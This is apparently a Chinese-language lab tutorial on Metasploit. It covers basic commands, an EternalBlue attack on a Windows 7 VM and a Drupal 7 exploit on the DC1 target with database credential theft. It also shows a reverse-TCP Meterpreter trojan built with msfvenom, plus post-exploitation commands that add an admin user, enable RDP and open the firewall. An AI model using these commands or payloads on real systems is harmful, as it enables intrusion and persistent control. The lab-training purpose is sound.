声明:本文章仅供学习参考,所有操作展示均在本地搭建的合法合规的靶场环境内完成,不存在任何真实的网络攻击行为,切勿将本文章内的相关技术内容用于未经授权允许的网络攻击,否则后果自负
MSF工具介绍
工具简介
全称Metasploit Framework,是漏洞研究、渗透测试、漏洞验证的一体化平台,
主要有以下五大核心模块:
Auxiliary(辅助模块):漏洞扫描、信息收集、端口扫描、服务探测(无攻击载荷)
Exploits(漏洞利用模块):针对已知漏洞的攻击代码(核心)
Payloads(攻击载荷):漏洞利用成功后执行的代码(如 Meterpreter)
Encoders(编码器):对载荷编码,绕过杀软
Post(后渗透模块):权限维持、信息窃取、内网渗透
核心组件:
msfconsole:MSF 主命令行控制台(最常用)
msfvenom:生成各类木马 / Payload(exe、apk、php 等)
Meterpreter:内存注入式高级 Shell,功能极强、免杀性好
msf基础命令
1. 启动与全局命令
msfconsole # 启动控制台
help / ? # 查看帮助
version # 查看版本
exit / quit # 退出
2. 模块搜索与加载
search 关键词 # 搜索模块(漏洞名/平台/服务)
例:search ms17_010
例:search type:auxiliary portscan
use 模块名 # 加载模块
例:use auxiliary/scanner/portscan/tcp
例:use exploit/windows/smb/ms17_010_eternalblue
back # 退出当前模块
info # 查看模块详情(作者、漏洞、参数)
3. 模块配置
show options # 查看必须配置的参数
set 选项名 值 # 设置参数
例:set RHOSTS 192.168.1.100 # 目标IP
例:set RHOSTS 192.168.1.0/24 # 网段扫描
例:set THREADS 50 # 线程数
setg 选项名 值 # 全局设置(所有模块生效)
unset 选项名 # 取消设置
unsetg 选项名 # 取消全局设置
4. 执行扫描 / 攻击
run / exploit # 运行模块(Aux用run,Exploit用exploit)
5. 数据库与扫描
db_status # 查看数据库状态
db_nmap # 集成Nmap扫描(结果入库)
例:db_nmap -sV 192.168.1.0/24
hosts # 查看扫描入库的主机
services # 查看开放端口/服务
MSF靶场实战
ms17-010漏洞扫描(永恒之蓝)
在虚拟机中安装好kali和win7系统,在kali系统终端中获取kali和win7的ip地址,使用nmap扫描存活主机IP或者用ipconfig命令到本机终端执行查看都可以
在kali输入msfconsole启动msf,输入search ms17-010查看漏洞模块
扫描过程:
使用use auxiliary/scanner/smb/smb_ms17_010或者use 3命令
攻击过程:
使用use exploit/windows/smb/ms17_010_eternalblue或者use 0命令
设计攻击载荷
设置攻击机ip和被攻击机ip,run运行
成功运行
显示远程主机系统信息:sysinfo
DC1靶场实战
在vmware虚拟机中安装kali linux系统以及DC1靶场,网络适配器选择桥接模式,以保证二者在同一网络内,DC1是我自己找的靶场部署到本地上的。
在root根权限下使用arp-scan -l,查看网段所有的主机。得到DC1的IP地址172.17.142.142
使用nmap对DC1进行端口扫描,发现DC1的22端口、80端口、111端口是打开的,22端口可以使用爆破、ssh远程连接,80端口可以登录web网页
进入目标网址,通过火狐浏览器插件wappalyzer发现,该网站使用的是Drupal 7的CMS搭建的,接下来启动Metasploit搜索漏洞
使用msfconsole命令启动msf
在msf中搜索drupal 7的漏洞(search drupal 7.x),发现有可以利用的攻击脚本0
使用此脚本(use 0),再使用options查看此参数信息
使用set rhosts 172.17.142.142(DC1的ip),再输入run,即可进入DC1的shell环境。
我们得到的是一个不完整的shell,所以使用python中的pty模块,来反弹一个完整的shell
进入到该用户下后,在目录中找到配置文件并查看
查看settings.txt,发现了数据库的信息
使用用户密码连接数据库mysql -udbuser -pR0ck3t;
在数据库中查找到users表,查找其中内容,在users表中,我们发现有admin用户,但是密码是加盐过的。这里选择修改用户密码来解决。
exit退出mysql,回到/var/www下执行以下代码,生成自己的加盐密码
php scripts/password-hash.sh 123456
再次连接数据库,使用drupaldb数据库,使用updata数据库执行语句将admin的密码设置为刚生成的加盐密码
现在可以使用admin/123456在火狐浏览器登录
成功进入网站
MSF制作木马病毒
木马生成
在终端sudo su命令提权后用msfconsole命令打开MSF软件
使用 msfvenom 生成木马的命令格式为:
msfvenom -p LHOST={攻击机IP} LPORT={攻击机端口} -f {格式} -o {输出文件}
例如:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f exe -o shell64.exe
windows/x64/meterpreter/reverse_tcp: Windows 64 位 反向 TCP 木马,这里可以根据实际情况修改
-f exe: 输出 Windows 可执行文件
-o: 保存文件名
msf监听配置
加载监听模块: use exploit/multi/handler
配置 payload: set payload windows/x64/meterpreter/reverse_tcp
这里的载荷要和生成的木马一致
设置 IP 和端口: set LHOST 192.168.1.100 # Kali IP
set LPORT 6666 # 与木马一致
show options命令可以检查配置
启动监听: run或exploit
出现 Started reverse TCP handler 表示监听成功
木马传输与执行
当目标靶机连接上后,这里直接将生成的木马下载到靶机。在现实环境中,当你访问一些非法网址时,或执行一些高风险操作时,你的设备就可能被植入木马,杀毒软件可能无法防御,因为可能木马做了加壳、免杀等无法被识别出。
运行木马文件后Kali 监听端会立即收到会话:
[] Sending stage ... to 192.168.1.101
[] Meterpreter session 1 opened ...
然后就可以在被监听靶机的终端执行各种命令,例如
修改字体编码为UTF-8(解决乱码):chcp 65001
查看系统信息:systeminfo
查看系统版本:ver
查看当前用户:whoami
显示网络信息:ipconfig
查看网络连接是否正常:ping
列出当前目录下所有文件:dir
进入指定目录:cd
10秒后关机:shutdown-s-t10
新建一个用户hack,密码为123:net user hack 123 /add
删除用户hack:net user hack/del
将普通用户hack提权到管理员:net localgroup administrators hack/add
开启远程桌面:reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD/d 0/f
配置防火墙允许远程:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow